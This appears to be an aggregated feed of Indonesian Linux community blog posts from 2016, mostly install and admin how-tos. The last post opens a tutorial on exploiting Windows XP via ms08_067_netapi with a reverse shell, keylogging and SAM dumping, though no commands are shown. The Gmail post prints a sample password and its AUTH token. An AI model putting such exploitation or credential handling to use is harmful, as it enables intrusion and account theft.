Akhir bulan lalu, 30 Maret 2016 Spotify mulai beroperasi di Indonesia. Tidak tanggung-tanggung pihak Soptify mengundang Menkominfo, Chief RA dalam peluncurannya. Banyaknya sliweran beberapa judul berita tentang Spotify tidak membuat saya tertarik untuk menginstal.

Justru dari sebuah grup Telegram yang membuat saya menjadi penasaran karena Spotify mendukung sistem operasi yang saya gunakan yaitu LinuxMint yang masih turunan Ubuntu dan Android. Mendengar konektifitasnya saya jadi pengen mencicipinya. Akhirnya pun membuka halaman web https://www.spotify.com/id/ dan mendaftarkan akun.

Langkah pertama instal terlebih dahulu di ponsel dan login sesuai akun yang didaftarkan. Selanjutnya menginstal sesuai petunjuk yang terdapat di https://www.spotify.com/id/download/linux/. Jadi pas banget Spotify sudah tersedia di Linux.
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys BBEBDCB318AD50EC6865090613B00F1FD2C19886
echo deb http://repository.spotify.com stable non-free | sudo tee /etc/apt/sources.list.d/spotify.list
sudo apt-get update
sudo apt-get install spotify-client

Ternyata memang benar konektifitasnya antara ponsel dan komputer sangat menarik. Lagu yang diputar di komputer bisa di-pause kemudian dapat didengarkan atau dilanjutkan di ponsel. Bisa juga dijadikan sebagai remote.

on 12 Apr 2016 09:42 AM

10 Apr 2016

Iseng utak-atik video dengan lightworks di ubuntu, menurutku lumayan nyaman, walaupun fiturnya tidak selengkap adobe premiere.

Cara install lightworks juga mudah:

sudo apt-get install gdebi
wget ftp.us.debian.org/debian/pool/main/t/tiff3/libtiff4_3.9.6-11_amd64.deb
wget www.lwks.com/dmpub/lwks-11.5.1-amd64.deb
sudo gdebi libtiff4_3.9.6-11_amd64.deb
sudo gdebi lwks-11.5.1-amd64.deb

on 10 Apr 2016 01:30 PM

Sewaktu saya membeli Xiaomi Redmi Note 3, importir besar seperti Era Jaya belum menjual produk ini. Jadi yang saya beli di pusat perbelanjaan itu barang palsu? Ya.., enggak juga. Kalau kata orang-orang ini masih “versi distributor”, bukan yang garansi resmi dari Xiaomi. Walaupun kalau kita nanya di toko-toko yang menjual produk dari “distributor” ini, pasti dibilang “Ini resmi kok. Ada service center resminya.”

Waktu itu saya beli Redmi Note 3 yang RAM 2GB. Prosesornya Mediatek ya, bukan yang Qualcomm. Karena ternyata ada 2 jenis. Beda prosesor.

Salah satu yang membuat saya agak curiga dengan ponsel ini adalah beberapa aplikasinya tidak bisa berjalan. Misalnya fitur Themes, fitur Fonts, dll. Pokoknya yang butuh koneksi dengan Xiaomi lah. Selain itu cek updatenya juga gagal.

Kalau tidak salah versi ROM yang saya pakai waktu itu (kalau tidak salah) 7.2.16. Saya lihat di webnya MIUI, versi terbaru ROM nya adalah 7.2.30. Saya bingung kenapa saya coba update dengan aplikasi bawaannya Updater, kok gagal?

Akhirnya saya download saya file ROM-nya. Lumayan gede, sekitar 800-an MB. Lalu saya coba install dari menu Updater dengan menggunakan “Choose Package”. Tapi ROM nya tidak dikenali, gagal juga. Selalu keluar error “Can’t verify update“. Mencurigakan.

Baru setelah itu saya baca-baca di forum MIUI, ternyata ada beberapa laporan yang bilang kalau ROM versi 7.2.16 itu masih versi abal-abal dari distributor, bukan resmi dari Xiaomi. Ooo.., sepertinya ini yang membuat banyak fitur yang saya coba gunakan gagal.

Akhirnya saya instal ROM versi resmi dari MIUI nya. Caranya agak ribet sih. Apalagi saya tidak memiliki komputer dengan sistem operasi minimal Windows 7. Kalau pakai Mac OS? Hmmm… Lupain deh.

Menggunakan laptop seorang teman, akhirnya saya berhasil melakukan “flash” ulang ROM Redmi Note 3 saya dengan versi resmi dari Xiaomi. Versinya

Tampaknya memang ROM sebelumnya memang abal-abal. Setelah menggunakan ROM resmi ini, saya merasa keseluruhan aplikasi dan fitur di ponsel saya menjadi lebih “smooth”. Entahlah, kalau cuma persepsi aja ya. Yang jelas fitur Theme, Font, Updater, dll di sini sudah berjalan normal. Apalagi belakangan saya pun bisa upgrade lagi ke ROM terbaru dari Xiaomi, versi secara OTA (Over the Air).

Kalian gimana? Pake Redmi Note 3 yang versi ROM abal-abal, atau sudah yang resmi dari MIUI?

on 10 Apr 2016 10:59 AM

04 Apr 2016

Rekreasi Murah Meriah

Mukhlis Amien

Kadang piknik tidak perlu mahal dan jauh-jauh, sebelah rumah saja sudah cukup.

on 04 Apr 2016 01:59 AM

01 Apr 2016

Beware of Dog

Semenjak versi 1.9.5, NGINX sudah menggantikan modul SPDY dengan HTTP/2. Protokol tersebut telah resmi dan banyak peramban modern memanfaatkannya pada versi anyar. Salah satu yang paling gencar adalah Chromium dan turunannya (Google Chrome).

Ajaibnya, mengaktifkan HTTP/2 dapat menyebabkan galat berikut pada Chromium:


Berikut penyebab mengapa demikian:

  • Menggunakan enkripsi lawas yang dilarang oleh HTTP/2, misalnya masih SHA-1, RC4, atau lebih rendah.
  • Menggunakan sertifikat SSL yang tidak ditandatangani oleh CA yang terpercaya/diakui oleh peramban.
  • Masih ada penggunaan protokol tak terenkripsi sehingga isi situs tercampur antara yang terenkripsi atau tidak.

Lalu apa yang harus kita lakukan untuk dapat sesuai dengan HTTP/2?

  • Untuk situs yang melayani HTTP dan HTTPS, sebaiknya penulisan URI tidak mencantumkan skema. Misalnya, daripada menulis “http://alamat.sesuatu/res/1.jpg” atau “https://alamat.sesuatu/res/1.jpg”, lebih baik ditulis dengan “/res/1.jpg”.
  • Solusi yang paling betul, tulis semua dengan menggunakan protokol HTTPS.
  • Solusi lain, tulis semua dengan menggunakan HTTP non-enkripsi dan lupakan HTTP/2.

Pada zaman dahulu, penggunaan protokol HTTPS berat dan cenderung dilewati. Namun, protokol HTTP/2 memiliki mekanisme saluran aman sehingga dapat mengirim sumber daya dengan lebih cepat dan efisien. Apalagi, prosesor zaman sekarang sudah dilengkapi oleh ekstensi AES-NI yang melakukan enkripsi secara perangkat keras. Dengan kedua alasan itu, menyalakan HTTP/2 justru mempercepat situs.

Sayangnya, dunia tak seindah itu. Harga tanda tangan sertifikat per domain itu mahal! Kalau Anda memiliki situs dengan banyak domain, Anda tentunya harus berstrategi. Salah satunya Anda bisa saja membeli sertifikat wildcard (*) sehingga bisa dipakai oleh sub domain.

Tetap saja, untuk UI yang memiliki lembaga tingkat 2 (misalnya lembaga di bawah fakultas), sertifikat wildcard tidak bisa dipakai. UI harus membeli sertifikat wildcard per fakultas juga. Atau, UI bisa saja membeli sertifikat untuk menjadi CA sekunder.

Keduanya adalah solusi yang mahal. Apalagi, setiap sertifikat hanya berlaku setahun atau dua tahun saja dan harus diperpanjang. Kalau sudah sampai seperti itu, kita harus berstrategi.

Situs blog.staff.ui.ac.id masih menggunakan sertifikat SHA-1 yang lebih murah. Situs Webmail sudah SPDY dan siap untuk HTTP/2. Dia juga dilengkapi oleh beberapa mekanisme keamanan lainnya. Kemungkinan besar tidak bisa diakses oleh peramban lawas [*uhuk* IE *uhuk*]

Dalam kasus UI, situs-situs yang membutuhkan keamanan tinggi harus menggunakan HTTP/2 dan sertifikat SHA2. Sedangkan untuk situs-situs kurang penting seperti Blog Staff ini, penggunaan sertifikat sekenanya saja. Misalnya, masih ditandatangani sendiri (self-signed) atau sertifikat SHA1 sisa-sisa dana tahun lalu.

Untuk peladen yang menggunakan WordPress Multisite dan Drupal multisite sayangnya harus secara manual menulis konfigurasi HTTP/2 pada NGINX. Bisa, sih, ditulis skripnya. Tetapi, saya terlalu malas untuk saat ini. Terlalu banyak kasus anomali (edge cases) yang harus dipertimbangkan.

Bagaimana dengan Anda, sudah siapkah situs Anda?

on 01 Apr 2016 10:16 AM

01 Mar 2016

SIAK 5.x adalah aplikasi Sistem Informasi Administrasi Kependudukan berbasis web yang dibangun oleh Kementerian Dalam Negeri Republik Indonesia.

Pada versi2 sebelumnya, SIAK mengharuskan client menggunakan Internet Explorer. Namun, pada versi kali ini mengharuskan client menggunakan Firefox dg tambahan Adobe Acrobat Reader, Adobe Flash Player, dan Java. Aplikasi2 pendukung ini sudah disedikan pengembang, namun hanya untuk OS Windows saja.

Untuk pengguna OS Ubuntu 15.10, seperti saya, aplikasi2 pendukung harus dicari sendiri. Setelah gogling kesana-kemari akhirnya bisa juga.

  1. Adobe Acrobat Reader dan plugin-nya
    Lihat di sana dan di sono….
  2. Adobe Flash Player plugin
    sudo apt-get install adobe-flashplugin
  3. Java
    sudo apt-get install icedtea-7-plugin


Screenshot from 2016-03-01 21-20-52

Lalu apa fungsi aplikasi2 tersebut dalam aplikasi SIAK?

  1. Adobe Acrobat Reader plugin; untuk proses pencetakan (penampakan PDF). Padahal, tanpa aplikasi ini pun Firefox dapat menampilkan PDF secara mandiri. Namun jika aplikasi gagal mendeteksi keberadaannya maka tampilan PDF tidak akan ditampilkan.
  2. Adobe Flash Player plugin; Entah!😀
  3. Java; untuk proses pengarsipan.

Mari bekerja….

Filed under: Batam, Linux, Ubuntu, Umum Tagged: HowTo, SIAK, Ubuntu
on 01 Mar 2016 02:50 PM

18 Feb 2016

Belajar Ansible


Setelah di tutorial sebelumnya kita sudah belajar melakukan instalasi Ansible versi 2.x, saatnya saat ini mengexplore beberapa percobaan dasar menggunakan Ansible. Sebelumnya kita telah membuat list server yang akan kita manage, kita beri nama “testing”. Kita juga sudah membuat folder /etc/ansible untuk melakukan semua pekerjaan yang berkaitan dengan Ansible. 1. Buat user dan password Untuk membuat […]
on 18 Feb 2016 08:31 AM

12 Feb 2016

Osden Jokonya dari Universitas Afrika Selatan dalam karya ilmiahnya yang dipresentasikan pada Hawaii International Conference on System Sciences menyampaikan keuntungan pemanfaatan piranti lunak dengan kode terbuka atau biasa disebut open source software. Dalam tulisan tersebut Osden membagi sektor publik menjadi 4, yaitu politik, ekonomi, sosial dan teknikal.

Berikut keuntungan pemanfaatan open source software pada setiap sektornya.
1. Politik
- Mengurangi pembajakan software
- Bebas dari vendor
- Keamanan
- Kustomisasi
2. Ekonomi
- Menghemat biaya
- Membangun industri lokal
- Menciptakan kondisi yang kompetitif
3. Sosial
- Pemberdayaan keahlian masyarakat lokal
- Menciptakan lapangan pekerjaan
- Mengurangi kesenjangan digital
4. Teknikal
- Implementasi standar terbuka
- Interoperabilitas

Tulisan lengkap Osden dapat diunduh melalui http://ieeexplore.ieee.org/xpl/articleDetails.jsp?arnumber=7070082.
on 12 Feb 2016 09:02 AM

11 Feb 2016

Dijual borongan perangkat Keras dan Lunak Server, Storage, Network, VMWare dll masih garansi sampai 2017. HP BLc7000 1 HP 6 PS 10 Fan 16 IC Plat ENCL (1 Unit) HP BLKe Nomor HP User ProfileGB Svr 2X300 GB 6G SAS 10K 2.5 inch SC ENT HDD (3 Unit) HP Store Easy 3830 GW Storage Blade (1 […]
on 11 Feb 2016 05:15 AM

08 Feb 2016

In this tutorial, I will show you how to send email via gmail server using openssl. Before you can use telnet to do it. But since Google implement TLS-encrypted connection, you can’t do that anymore unless you upgrade your telnet with ssl capability.

OpenSSL version that I use is OpenSSL 1.0.1f 6 Jan 2014. You can check your version using command openssl version -a.
darklinux@darklinux:~$ openssl version -a OpenSSL 1.0.1f 6 Jan 2014 built on: Thu Jun 11 15:26:18 UTC 2015 platform: debian-i386 options: bn(64,32) rc4(8x,mmx) des(ptr,risc1,16,long) blowfish(idx) compiler: cc -fPIC -DOPENSSL_PIC -DOPENSSL_THREADS -D_REENTRANT -DDSO_DLFCN -DHAVE_DLFCN_H -DL_ENDIAN -DTERMIO -g -O2 -fstack-protector –param=ssp-buffer-size=4 -Wformat -Werror=format-security -D_FORTIFY_SOURCE=2 -Wl,-Bsymbolic-functions -Wl,-z,relro -Wa,–noexecstack -Wall -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DMD5_ASM -DRMD160_ASM -DAES_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM OPENSSLDIR: “/usr/lib/ssl” darklinux@darklinux:~$

Before we start, I will give you a prove that we can’t use telnet to connect to gmail server.
darklinux@darklinux:~$ telnet smtp.gmail.com 587
Connected to gmail-smtp-msa.l.google.com.
Escape character is ‘^]’.
220 smtp.gmail.com ESMTP p8sm40810771pfi.34 – gsmtp
250 smtp.gmail.com at your service
mail from: <taufanlinux@gmail.com>
530 5.7.0 Must issue a STARTTLS command first. p8sm40810771pfi.34 – gsmtp

darklinux@darklinux:~$ telnet smtp.gmail.com 465
Connected to gmail-smtp-msa.l.google.com.
Escape character is ‘^]’.
#####FConnection closed by foreign host.

As you see above, both connection are rejected. Gmail server request for STARTTLS.
STARTTLS is an extension to plain text communication protocols, which offers a way to upgrade a plain text connection to an encrypted TLS (Trasnport Layer Security) or SSL (Secure Socket Layer) connection instead of using a separate port for encrypted communication.

What is openssl?
Before we start, I will explain a bit about OpenSSL. OpenSSL is general purpose cryptography library that provide open source implementation of TLS and SSL protocols. It was developed in 1998 and become widely used. In 2014 two thirds of all web servers use OpenSSL. Version are available for Linux, Solaris, Mac OS, BSD, OvenVMS and windows.

In order to connect to gmail server, you need to provide the user id and password. This user id and password must be convert to base64 encryption format because gmail server use this cipher encryption.
The format is: \000your_gmail\000your_password.
If my gmail user id is taufanlinux@gmail.com and my password is type123456, the format will be:

You can use python to convert it to base64.
darklinux@darklinux:~$ python
Python 2.7.6 (default, Jun 22 2015, 18:00:18)
[GCC 4.8.2] on linux2
Type “help”, “copyright”, “credits” or “license” for more information.
>>> import base64
>>> authplain = base64.b64encode(‘\000taufanlinux@gmail.com\000type123456’)
>>> authplain
AHRhdWZhbmxpbnV4QGdtYWlsLmNvbQB0eXBlMTIzNDU2 is my authentication code.

Below are the steps:
Step 1. Connect to gmail server.
After you get the authentication code, then you can connect to gmail server. Type openssl s_client -connect smtp.gmail.com:465 -crlf.
s_client option will tell openssl to establish TLS/SSL client a transparent connection to a remote server.
connect is command to connect to
smtp.gmail.com is the remote server
465 is the smtp server port.
crlf (create line feed enter). Make sure to add this option otherwise you can’t send the email after you finish the email content with .(dot).

darklinux@darklinux:~$ openssl s_client -connect smtp.gmail.com:465 -crlf
depth=2 C = US, O = GeoTrust Inc., CN = GeoTrust Global CA
verify error:num=20:unable to get local issuer certificate
verify return:0

Certificate chain
0 s:/C=US/ST=California/L=Mountain View/O=Google Inc/CN=smtp.gmail.com
i:/C=US/O=Google Inc/CN=Google Internet Authority G2
1 s:/C=US/O=Google Inc/CN=Google Internet Authority G2
i:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA
2 s:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA
i:/C=US/O=Equifax/OU=Equifax Secure Certificate Authority

Server certificate
subject=/C=US/ST=California/L=Mountain View/O=Google Inc/CN=smtp.gmail.com
issuer=/C=US/O=Google Inc/CN=Google Internet Authority G2

No client certificate CA names sent

SSL handshake has read 3727 bytes and written 421 bytes

New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES128-GCM-SHA256
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
Protocol : TLSv1.2
Cipher : ECDHE-RSA-AES128-GCM-SHA256
Session-ID: 96046DE5F3B84FD91F77CC0F426737A5525F9A8D24D97C79A2E81920C4883235
Master-Key: 026F4D4E1AF8C445AF39AA99DB3C40EE916901102B4BC4CFA7A29B06F85EFA5D2E052BDD33F5DFD56CE63C71BCE7C3EA
Key-Arg : None
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 100800 (seconds)
TLS session ticket:
0000 – 81 3f 63 38 6f 95 ba bb-63 8d f5 8c 7c ba cd 47 .?c8o…c…|..G
0010 – ce 38 c2 d2 3e ef 7c 04-13 cf 14 a9 8f a1 6f d8 .8..>.|…….o.
0020 – e9 c6 52 0b 14 1c c7 04-4c c9 02 b4 fc 1f 4d 53 ..R…..L…..MS
0030 – 50 73 a3 b9 92 3d 3e e8-02 38 6d b5 a3 22 db 89 Ps…=>..8m..”..
0040 – 24 19 04 22 00 54 3a 45-04 8e db f0 c7 60 4d 0a $..”.T:E…..`M.
0050 – da 4b 63 cb 6b 71 66 c5-8d 4a a8 d0 37 67 79 7e .Kc.kqf..J..7gy~
0060 – 20 10 35 89 aa 34 c2 63-d4 a9 a0 39 7c 25 b6 4a .5..4.c…9|%.J
0070 – 80 ad 78 ca 66 02 44 66-75 07 d4 71 88 a0 30 37 ..x.f.Dfu..q..07
0080 – 0a 51 c8 98 d4 03 fa e9-05 86 d3 64 af e9 fa 20 .Q………d…
0090 – 55 fc d5 22 cb 60 d4 95-c9 18 1f ce b5 1d 5c 2b U..”.`……..\+
00a0 – 9e d4 1d 7e …~
Start Time: 1454911916
Timeout : 300 (sec)
Verify return code: 20 (unable to get local issuer certificate)

220 smtp.gmail.com ESMTP xz6sm40211442pab.42 – gsmtp

Step 2.Say Hello to smtp server.
Some smtp server use ‘helo‘ some use ‘ehlo (extended helo)’. No need to put word after it.
You will get commands available is the smtp server is ready for your service.

250-smtp.gmail.com at your service, []
250-SIZE 35882577

Step 3. Login to the server
You can use Auth Login or Auth Plain. In this tutorial I use auth plain.
Put your attentication code after auth plain. You will get 235 2.7.0 Accepted if your user id and password are correct.

auth plain AHRhdWZhbmxpbnV4QGdtYWlsLmNvbQB0eXBlMTIzNDU2
235 2.7.0 Accepted

Step 4. Set your destination email and send it.
There are few data that you need to set.
mail from: <your gmail address> → your email address
rcpt to: <your destination email> → recipient address or your destination email address.
data → to set your email content.
-. (dot) → to end your email content and send it.

mail from: <taufanlinux@gmail.com>
250 2.1.0 OK xz6sm40211442pab.42 – gsmtp
rcpt to: <taufanlinux@gmail.com>
250 2.1.5 OK xz6sm40211442pab.42 – gsmtp
354 Go ahead xz6sm40211442pab.42 – gsmtp
this is a test.
250 2.0.0 OK 1454912007 xz6sm40211442pab.42 – gsmtp
If you get 250 2.0.0 OK,it mean your email has already sent.

on 08 Feb 2016 11:02 AM

06 Feb 2016

Hair Tonic Mirip Debian

Dedy Hariyadi

Tak sengaja sewaktu belanja di suatu perbelanjaan sekitar Seturan melihat produk-produk untuk rambut melihat suatu logo yang tidak asing. Logo yang digunakan hair tonic merk mylea mirip sekali dengan logo Debian. Sebagai pengguna sistem operasi turunan Debian tentu tidak asing dengan logonya. Saya pikir Debian memiliki perusahaan dengan produk hair tonic. Coba Anda perhatikan logo Debian yang tercantum di https://www.debian.org/logos dengan foto dibawah ini.

on 06 Feb 2016 10:51 AM

04 Feb 2016

RStudio like IDE for Python: IEP

Putu Wiramaswara Widya

I finally found an IDE for Python (basically just text editor with console on it) that has “execute selected code” feature like one in RStudio: IEP or Interactive Editor Python (http://www.iep-project.org/). This IDE is Free and Open Source, plus it runs on multiple OSes thanks to QT library. Even though it lacks some feature like obvious “Set as working directory”, the customizable UI plus it won’t hang itself during some demanding function calling (I had another IDE that has this bugs, I forgot the name of it) made this editor usable for more than a week I have been using it.

on 04 Feb 2016 04:54 AM

03 Feb 2016

# Microsoft Share Point 2013 Installation

## Pre requisite

### Server Side
#### 3 tier Model
1. Domain Controller server
Windows Server 2012
2. SQL Server
Join Domain
Create User
* spSql
SQL Server Database Engine and SQL Agent Service Account
* spAdmin
For SharePoint Setup and Configuration Wizard
Domain User Account
Local Administrator deployment server
SQL Server login with securityadmin and dbcreator roles,public,sysadmin
* spFarm
Configure and manage server farm, application pool identity for central administration and run microsoft foundation workflow timer service
Domain User Account
SQL Server Login with securityadmin,dbcreator, and db_owner for sharepoint databases in server farm

3. Share Point Server
Join Domain
Internet Connection

#### Join domain
Setting DNS to your Active Directory Server
1. Go to System Properties
2. klik Change…
3. fill Computer Name and Member of Domain
#### Add spadmin account in your server
Right klik my computer > manage
open server manager>configuration>local users and Groups>Groups
Right clik Administrator>properties
klik add enter spadmin>check names > OK > OK
Close server Manager

#### Create DB user
Open SQL Server Management Studio from start button.
Fill Server Type, SErver Name, Authentication>Windows Authentication>TEST01\Administrator>connect
open SQL Server>Security>logins and then right click on login>new login
Open New Windows click search>Location>entire directory>Domain01.local>ok
spadmin > check names > ok
klik Server Roles Page> tick dbcreator and securityadmin>ok

Right click SQL Server>Properties>Advanced page>Max Degree of Parallelism>1>ok

### Share Point Installation
Open file directori of installation, open splash.hta
Install SOftware Prerequisite

Open splash.hta again and select Install SharePOint Server
Select Complete for server type
thick the Sharepoint products configuration wizard now.
Next > Create A new Server Farm
Database Server : test01
Database Name : SharePoint_COnfig
Username : domain01\spFarm
Password : ***

Specify Port Number : 8181
Sec Setting : NTLM

open browser

on 03 Feb 2016 12:49 AM

22 Jan 2016

Seperti telah diketahui bahwa Ansible baru saja merilis versi terbaru (versi 2) yang tentunya dengan tambahan berbagai fitur dan perbaikan. Tutorial ini adalah langkah-langkah cara memasang Ansible terbaru di debian 8 (jessie). Cara paling mudah adalah menggunakan apt-get install, tapi dengan cara ini versi ansible yang terinstall belum versi yang terbaru, masih versi 1.7.2. Nah berhubung […]
on 22 Jan 2016 09:56 AM

Yes, I would admit this: I have been comfortable using Windows 10 as main OS in my notebook since it was released around August 2015. Nevertheless, I am still using Linux in my laboratorium workstation though.

I would kind to appraise Windows 10 for its incremental regular update (that would promise some new incremental feature somehow). But after around six months using it, I felt like somehow there is nothing much better since its been released: The right-click menu still somewhat inconsistent, the title bar still white as ghost and never had any new feature November Update would promised even though I regularly checked Windows Update.

After I checked via “winver” program (Win+R, “winver”, OK), turns out that my Windows 10 system have been somehow stuck with Build 10240 (the first stable build of Windows 10) and goes nowhere further. Reading this article from Wikipedia made me realize that there have been so many new build that I left behind. Furthermore, Windows Update won’t give any help or anything to upgrade my Windows at least into build 10586.

For those who happens to have same issue, the easiest and hassle-free solution is to Upgrade your Windows 10 using the latest Windows 10 Update Tool. You can grab it directly from https://www.microsoft.com/en-gb/software-download/windows10.

on 22 Jan 2016 08:50 AM

21 Jan 2016

Kemarin baru aja kelar setel-setel dan nempatin peladen (baru) di kantor. Sebelum bener-bener siyap dipakek, saya coba-coba untuk mensimulasikan akses ke dalam peladen. SSH sudah disiapkan dan sejauh percobaan, akses menggunakan SSH berjalan dengan baik.

Hnah, tapi...itu khan kalo yang menggunakan cuman saya seorang. Komputer yang saya gunakan, sistem operasinya adalah GnU/Linux Ubuntu Debian yang notabene ngga' ada masalah spesifik ketika melakukan kontrol jarak jauh ke peladen. Kembali ke peladen, peladen tersebut akan digunakan oleh pemrogram di kantor yang kesehariannya menggunakan sistem operasi berbeda.

Bisa saja memang, dengan menggunakan aplikasi klien FTP seperti Filezilla. Menggunakan Filezilla relatif mudah, karena aplikasi ini merupakan aplikasi multi-platform. Jadi tersedia untuk berbagai jenis sistem operasi.

Kemaren, penggunaan Filezilla ini terkendala pada akses ke dalam direktori root web. Ternyata harus punya akses tulis. Setelah cari tau, ternyata bisa dilakukan dengan mengubah hak kepemilikan direktori tersebut. Tinggal setel kepemilikan ke akun login yang digunakan (selain akun root), jreng, sudah bisa baca tulis ke dalam direktori root web. Masih belom tau apakah solusi yang saya terapkan ini cukup aman atau tidak. Silahkan berikan masukan. Peladennya hanya bisa diakses lokal sich. Mungkin perlu dipikirkan cara lain ya, kalo misalnya peladen bisa diakses via internet :).

Hnah, setelah dipikir-pikir lagi tentang bagaimana mengakses peladen dengan cara yang "lebih umum" ya? Kepikiran buat pasang (gaya dah :D) panel kontrol seperti cpanel yang ada di hosting-hosting ituh. Pilihannya banyak ya ternyata. Tapi akhirnya saya memutuskan buat pasang...AJENTI.

Pemasangan Ajenti di sistem operasi GnU/Linux ternyata cukup mudah ya. Untuk sistem operasi yang terpasang di dalam peladen yang sudah saya setel, GnU/Linux Debian 8.2, cara pemasangannya jugak sudah tersedia repo yang bisa ditambahkan ke dalam sources.list.

Untuk pemasangan di pada GnU/Linux Debian dapat menggunakan panduan dari situs Ajenti. Tapi, setelah dipasang Ajenti-nya, saya ketemu masalah seperti gambar di bawah:

Ini...beneran kagak tau kenapa dah. Padahal proses pemasangan ngga' ada masalah jugak. Setelah mencari pencerahan, akhirnya ketemu jugak permasalahannya di mana yang dibahas via forum pengguna Ajenti.

Untuk mengatasi masalah akses di atas, hal yang saya lakukan adalah, memasang paket python-dev dan menyunting berkas ssl.py seperti yang dapat dilihat pada solusi seperti gambar di bawah:

Daaaann...akhirnya...Ajenti yang saya pasang, bisa diakses...yay!!!

Yoyoy...demikian. Semoga bisa memudahkan kerja-kerja di peladen ini :).
on 21 Jan 2016 02:11 AM

20 Jan 2016

Membaca PPA Shnatsel bahwa DNSCrypt racikannya telah dinyatakan tidak dikembangkan kembali. Sebelumnya saya memang menggunakan racikannya Shnatsel. Akhirnya "bersih-bersih" dan beralih ke DNSCrypt racikan Pascal Mons.

Seperti biasa rutinitasnya menambahkan repo DNSCrypt buatan Pascal Mons menggunakan perintah sudo add-apt-repository ppa:anton+/dnscrypt. Installasinya menggunakan perintah sudo apt-get update && sudo apt-get install dnscrypt-proxy.

Proses installasi selesai, sunting terlebih dahulu berkas /etc/dhcp/dhclient.conf. Pada bagian supersede domain-name-servers tambahkan baris sehingga menjadi supersede domain-name-servers;. Simpan berkas tersebut dan restart jaringan Anda.

Untuk memeriksa bahwa DNSCrypt berjalan dengan baik silakan diuji menggunakan www.dnsleaktest.com.
on 20 Jan 2016 10:28 AM

Daily Korean Vocabulary #1

Putu Wiramaswara Widya

Living in Korea would be a nightmare if you could not make any simple conversation in Korean, at least that’s how I am experiencing here for about four months. From beginning, I am a big no-no to try speak to them in English unless they started it first or it is in academic situation, so that I learn many Korean basically just by myself and take same Language Immersion steps with some local (Not very intense, just when I need something to buy or dealing with stranger 아저씨 that want to make a chat with 외국인).

One problem that still facing me to learn Korea is how different their vocabulary are, even though they are familiar with some English (and to some extent, Konglish) word, it is not as many as borrowed word from Chinese (Sino-Korea, 한자어). So from today, I want to try to make a daily Korean Vocabulary chart based mainly from Sino-Korean word etymology and any other context-specific term. This Daily Korean Vocabulary is basically intended to someone who know at least very basic Korean Writing System (한글) and Korean Grammar so I will not depicted any romanization whatsoever in here (I found that new Korean Romaja System are kinda awkward for English speaker to read, it’s better to learn the system directly from 한글)

For the first #1, I will introduce the usage of Hanja: 상 (想) which have a meaning surrounding idea and thought (In Hanja Dictionary, it is called 생각 상). The word 상 are not used by itself in Korean so you need to use it in word with atleast two syllables.


PS: If you have problem seeing the image above, just click on it to see it.

on 20 Jan 2016 02:26 AM

15 Jan 2016


Arif Syamsudin

Jadi...perintah utamanya adalah:

# dmidecode

Perintah di atas akan memberikan informasi terkait komponen perangkat keras sistem. Setidaknya itu yang dikatakan sama man-nya dmidecode. Dalam format yang bisa dimengerti manusia. Human-readable format. Sebagian kutipan tentang apa itu dmidecode:
"... tool  for dumping a computer's DMI (some say SMBIOS) table contents in a human-readable format. This table contains a description of the system's hardware components, as well as other useful pieces of information such as serial numbers  and  BIOS  revision. Thanks to this table, you can retrieve this information without having to probe for the actual hardware. While this is a good point in terms of report speed and safeness, this also makes the presented information possibly unreliable."
Untuk penggunaan perintah lebih jauh, silahkan baca manual penggunan dmidecode yang bisa dimunculkan dengan perintah:

# man dmidecode

Saya coba-coba, untuk melihat, secara spesifik, tipe papan-induk (baca: motherboard) yang dipasang pada komputer yang kita gunakan, kita dapat menggunakan perintah:

# dmidecode --type baseboard

Keluarannya, sebagai contoh komputer yang saya gunakan di kantor, adalah sebagai berikut:

# dmidecode 2.11
SMBIOS 2.7 present.
Handle 0x0002, DMI type 2, 15 bytes
Base Board Information
Manufacturer: ASRock
Product Name: H61M-VS3
Serial Number: M80-33002103546
Asset Tag:                       
Board is a hosting board
Board is replaceable
Location In Chassis:                       
Chassis Handle: 0x0003
Type: Motherboard
Contained Object Handles: 0
Keluarannya sedikit mirip dengan perintah WMIC BASEBOARD yang dieksekusi via terminal pada sisop MS Windows.

Demikian. Semoga bermanfaat dan selamat bereksplorasi :).

Bahan bacaan:

  1. https://tuanpembual.wordpress.com/2016/01/15/mencari-detail-perangkat-keras-di-gnulinux/
on 15 Jan 2016 01:15 PM

12 Jan 2016

Perangkat yang terhubung

Arif Syamsudin

Sekedar ringkasan untuk pengingat. Gunakan nmap. Ini perintah yang dianjurkan oleh situs bacaan saya:

# nmap -sP kisaran-ip-yang-anda-gunakan/24

contoh, karena ip yang digunakan oleh perangkat saya yang terhubung ke jaringan lokal adalah, maka untuk menggantikan kisaran-ip-yang-anda-gunakan adalah:

# nmap -sP

Nah, silahkan dicoba :). Perintah di atas akan mendaftar ip dan mac address dari perangkat yang terhubung di dalam jaringan. silahkan mengeksplorasi berbagai variabel perintah di dalam nmap :).

on 12 Jan 2016 01:56 PM

10 Jan 2016

versi os

Arif Syamsudin

Karena setelah sekian lama, perintah:

$ cat /etc/lsb-release

sudah tidak digunakan lagi untuk menunjukkan versi os yang digunakan, alih-alih saya menggunakan perintah ini:

$ cat /etc/os-release

Seperti yang sudah saya sebutkan di atas, perintah ini digunakan untuk melihat versi os GnU/Linux yang digunakan di dalam satu mesin. Kebetulan saya pengguna GnU/Linux Debian 8.1, jadi bentuk keluarannya adalah:

root@theminion:/home/buitenzorg812# cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 8 (jessie)"
NAME="Debian GNU/Linux"
VERSION="8 (jessie)"

Demikian, semoga bermanfaat :).
on 10 Jan 2016 03:14 PM

In this tutorial, I will show you to hack Ms-windows xp. It’s for training purpose only. I’m not responsible for any misused. You will learn about, grap a screenshot of the interactive desktop target, check list running processes, capturing key strokes and get contents of SAM database.

There 2 exploit modules that I will use, ms08_067_netapi and reverse_tcp.

The ms08_067_netapi exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs.

This exploit can be used also for MS windows 2000 universal and MS Windows 2003 universal, SP1 and SP2.

